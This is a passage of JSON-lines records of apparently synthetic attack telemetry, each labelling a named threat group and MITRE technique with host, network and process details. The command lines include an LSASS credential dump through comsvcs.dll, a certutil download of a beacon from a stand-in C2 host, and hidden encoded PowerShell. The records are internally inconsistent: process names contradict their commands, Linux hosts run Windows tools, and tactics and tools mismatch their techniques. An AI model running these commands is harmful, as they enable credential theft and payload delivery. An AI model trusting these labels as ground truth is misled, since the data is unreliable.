Log","timestamp":"2026-10-22T06:57:47.000Z","user":{"name":"arn:aws:iam::rvoccq4l8rmp","sid":"S-1-5-21-370488634-303018870-5247"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Impact"],"technique_id":"T1098.004"},"event_id":"evt_apt41_20260828T193210000Z_0005143","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.94.147.161","name":"AZURE-VM-N339LS3SL6","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5143APT41T1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.1.69.229","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-07-15T23:58:06.000Z","user":{"name":"CORP\\jnw52xvbm1l9","sid":"S-1-5-21-691004860-966994530-2719"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1071.001 using LOLBin technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Reconnaissance","Execution","Impact"],"technique_id":"T1071.001"},"event_id":"evt_fin7_20261207T042113000Z_0005145","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.26.170.160","name":"IAM-ROLE-EP4X0SA3OD","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5145FIN7T1071.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.160.234.216","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1179 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2025-01-09T13:52:42.000Z","user":{"name":"arn:aws:iam::fsbugopixfyk","sid":"S-1-5-21-699926361-579324378-7795"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1570 using fileless technique.","sub_technique":"Lateral Tool Transfer","tactic":["Exfiltration","Impact"],"technique_id":"T1570"},"event_id":"evt_apt41_20251114T041954000Z_0005147","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Fileless","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.215.185.37","name":"APP-WEB-D0F6ZDENJL","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5147APT41T1570"},"network":{"domain":"github.com","dst_ip":"1.11.33.107","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"bitsadmin.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-09-03T08:04:42.000Z","user":{"name":"i-7lj6rpwm9ivt","sid":"S-1-5-21-504960350-501225248-6252"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1098.004 using encrypted C2 technique.","sub_technique":"SSH Authorized Keys","tactic":["Initial Access"],"technique_id":"T1098.004"},"event_id":"evt_apt29_20260905T064524000Z_0005149","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.167.126.69","name":"WIN-FIN-SRV-P20RUBANBX","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5149APT29T1098.004"},"network":{"domain":"github.com","dst_ip":"1.73.96.22","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1696 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-02-20T18:16:26.000Z","user":{"name":"arn:aws:iam::chawxxupuheo","sid":"S-1-5-21-809865769-643387360-8567"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1566.001 using fileless technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Impact","Persistence","Discovery"],"technique_id":"T1566.001"},"event_id":"evt_apt41_20260113T050620000Z_0005151","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["Fileless","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.140.221.55","name":"EC2-INST-HHRQ9BSS0Y","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5151APT41T1566.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.194.138.30","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"cmstp.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-07-16T14:03:27.000Z","user":{"name":"i-jcaafvw7e3h4","sid":"S-1-5-21-469766623-666694330-8955"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1570 using fileless technique.","sub_technique":"Lateral Tool Transfer","tactic":["Defense Evasion","Privilege Escalation","Reconnaissance"],"technique_id":"T1570"},"event_id":"evt_lapsus_20251117T124713000Z_0005153","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Base64","JA3 Spoof","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.75.193.36","name":"EC2-INST-IVF9PNO88S","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5153Lapsus$T1570"},"network":{"domain":"github.com","dst_ip":"1.188.187.93","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1343 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-09-28T13:16:27.000Z","user":{"name":"arn:aws:iam::q05ftz35iy8m","sid":"S-1-5-21-969809470-719806706-1241"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1484.001 using fileless technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Reconnaissance","Lateral Movement","Privilege Escalation"],"technique_id":"T1484.001"},"event_id":"evt_scatteredspider_20260519T194143000Z_0005155","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.139.82.200","name":"DB-ORACLE-UGAEIKFZCJ","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5155Scattered SpiderT1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.82.94.176","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2403 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-05-05T16:38:58.000Z","user":{"name":"CORP\\rlbh932bianv","sid":"S-1-5-21-546547430-333171446-4318"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1059.001 using fileless technique.","sub_technique":"PowerShell","tactic":["Execution","Defense Evasion"],"technique_id":"T1059.001"},"event_id":"evt_volttyphoon_20250724T224602000Z_0005157","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.148.208.27","name":"WIN-FIN-SRV-UON8CM53O5","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5157Volt TyphoonT1059.001"},"network":{"domain":"github.com","dst_ip":"1.167.177.220","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 895 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-04-29T09:39:50.000Z","user":{"name":"azuread\\xo5z7aaejvzt","sid":"S-1-5-21-941489878-912446251-4083"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Defense Evasion","Reconnaissance","Persistence"],"technique_id":"T1546.003"},"event_id":"evt_mustangpanda_20250209T201216000Z_0005159","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.106.245.38","name":"DB-ORACLE-NLNDLGQZ0O","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5159Mustang PandaT1546.003"},"network":{"domain":"update.microsoft.com","dst_ip":"1.193.20.20","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"certutil.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-09-01T14:49:47.000Z","user":{"name":"azuread\\1xrnow790980","sid":"S-1-5-21-191534703-332384525-9147"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1071.001 using encrypted C2 technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Impact","Persistence","Discovery"],"technique_id":"T1071.001"},"event_id":"evt_fin7_20260831T171943000Z_0005161","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.159.72.243","name":"WIN-FIN-SRV-JG5SM4FSH5","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5161FIN7T1071.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.156.233.5","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"mshta.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-01-25T00:47:29.000Z","user":{"name":"i-m1kqcwlin27z","sid":"S-1-5-21-760995396-423635623-1025"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1098.004 using cloud-native technique.","sub_technique":"SSH Authorized Keys","tactic":["Execution"],"technique_id":"T1098.004"},"event_id":"evt_volttyphoon_20261120T065411000Z_0005163","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.233.140.133","name":"EC2-INST-OYP5WL0W70","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5163Volt TyphoonT1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.149.241.94","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"svchost.exe"},"source":"Windows Security Log","timestamp":"2025-08-02T08:36:14.000Z","user":{"name":"CORP\\cf77voal5g9v","sid":"S-1-5-21-133327801-868470774-7539"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Credential Access","Privilege Escalation","Collection"],"technique_id":"T1484.001"},"event_id":"evt_fin7_20250612T211156000Z_0005165","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["TLS","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.13.210.165","name":"AZURE-VM-AVVLAYOY1F","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5165FIN7T1484.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.32.205.133","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-12-19T00:11:17.000Z","user":{"name":"svc_6i2g8g39efnb","sid":"S-1-5-21-545108162-532321458-5392"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1531 using cloud-native technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Exfiltration","Discovery"],"technique_id":"T1531"},"event_id":"evt_volttyphoon_20250105T080746000Z_0005167","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["TLS","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.154.62.9","name":"AZURE-VM-ZZH6H517OZ","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5167Volt TyphoonT1531"},"network":{"domain":"github.com","dst_ip":"1.191.237.109","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"powershell.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-11-03T05:59:07.000Z","user":{"name":"CORP\\1cfyapgm442n","sid":"S-1-5-21-228269250-978262915-8788"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1484.001 using cloud-native technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Reconnaissance"],"technique_id":"T1484.001"},"event_id":"evt_scatteredspider_20260110T012759000Z_0005169","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["TLS","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.101.21.245","name":"WIN-FIN-SRV-GA9OA6ZPPZ","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5169Scattered SpiderT1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.126.188.126","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-01-07T11:38:06.000Z","user":{"name":"azuread\\qjowoe8luzaa","sid":"S-1-5-21-370706978-978989207-6139"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1098.004 using encrypted C2 technique.","sub_technique":"SSH Authorized Keys","tactic":["Collection"],"technique_id":"T1098.004"},"event_id":"evt_unc4841_20260520T011807000Z_0005171","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.6.79.226","name":"IAM-ROLE-O3IWLRVSTN","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5171UNC4841T1098.004"},"network":{"domain":"github.com","dst_ip":"1.91.247.158","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"bitsadmin.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-04-16T17:29:09.000Z","user":{"name":"azuread\\33sqrtplm668","sid":"S-1-5-21-495631755-533545930-7286"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1071.001 using cloud-native technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Exfiltration","Impact","Persistence"],"technique_id":"T1071.001"},"event_id":"evt_lapsus_20261205T061243000Z_0005173","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.107.42.252","name":"EC2-INST-TJF9BQIH1P","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5173Lapsus$T1071.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.36.18.179","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-05-30T23:08:40.000Z","user":{"name":"CORP\\0zudr67qtki1","sid":"S-1-5-21-969732678-962051657-7554"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1566.001 using cloud-native technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Impact"],"technique_id":"T1566.001"},"event_id":"evt_apt29_20250227T052134000Z_0005175","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["WMI","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.93.88.204","name":"APP-WEB-OC5DMLNOBV","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5175APT29T1566.001"},"network":{"domain":"github.com","dst_ip":"1.90.170.100","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3305 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-11-17T12:45:02.000Z","user":{"name":"azuread\\5im0mc2ebfo3","sid":"S-1-5-21-644209792-465088556-9103"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1531 using cloud-native technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Persistence","Lateral Movement","Exfiltration"],"technique_id":"T1531"},"event_id":"evt_mustangpanda_20260206T143817000Z_0005177","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.40.56.202","name":"WIN-FIN-SRV-PDGIK1RF01","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5177Mustang PandaT1531"},"network":{"domain":"aws.amazon.com","dst_ip":"1.22.231.40","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"mshta.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-05-26T20:53:41.000Z","user":{"name":"CORP\\dz2rm7f1e5rp","sid":"S-1-5-21-754632938-713222613-6569"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1570 using encrypted C2 technique.","sub_technique":"Lateral Tool Transfer","tactic":["Collection","Initial Access","Impact"],"technique_id":"T1570"},"event_id":"evt_apt29_20251025T022645000Z_0005179","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.178.128.238","name":"DB-ORACLE-4ENSC7X1I9","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5179APT29T1570"},"network":{"domain":"cdn-content.com","dst_ip":"1.98.112.44","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-03-11T16:26:04.000Z","user":{"name":"azuread\\opehwhesnsx5","sid":"S-1-5-21-362373056-326641369-5812"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Persistence","Reconnaissance"],"technique_id":"T1546.003"},"event_id":"evt_unc4841_20250427T072752000Z_0005181","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["WMI","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.100.34.22","name":"AZURE-VM-2PMW7GDPUB","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5181UNC4841T1546.003"},"network":{"domain":"cdn-content.com","dst_ip":"1.21.19.163","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"wmic.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-05-25T02:57:22.000Z","user":{"name":"arn:aws:iam::quq78ov3jbkp","sid":"S-1-5-21-748878902-665855273-1336"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1098.004 using cloud-native technique.","sub_technique":"SSH Authorized Keys","tactic":["Collection","Defense Evasion","Credential Access"],"technique_id":"T1098.004"},"event_id":"evt_apt41_20250215T070557000Z_0005183","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.71.114.167","name":"WIN-FIN-SRV-J65HNG4ELM","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5183APT41T1098.004"},"network":{"domain":"github.com","dst_ip":"1.105.225.18","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-11-10T18:05:30.000Z","user":{"name":"azuread\\8lqmqfqkgyba","sid":"S-1-5-21-912627180-154415047-8961"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1098.004 using cloud-native technique.","sub_technique":"SSH Authorized Keys","tactic":["Initial Access"],"technique_id":"T1098.004"},"event_id":"evt_mustangpanda_20250721T174751000Z_0005185","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.91.81.90","name":"DB-ORACLE-CKOYGMMZ21","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5185Mustang PandaT1098.004"},"network":{"domain":"github.com","dst_ip":"1.143.176.245","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-12-21T21:48:04.000Z","user":{"name":"azuread\\obietibito5y","sid":"S-1-5-21-967900991-205665416-5580"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1566.001 using LOLBin technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Reconnaissance","Execution"],"technique_id":"T1566.001"},"event_id":"evt_lapsus_20250827T092048000Z_0005187","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.74.165.34","name":"WIN-FIN-SRV-NB9GF2ECMX","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5187Lapsus$T1566.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.135.253.185","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2275 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-03-21T09:58:44.000Z","user":{"name":"arn:aws:iam::819jk4bavenv","sid":"S-1-5-21-916562640-300287759-2861"}}
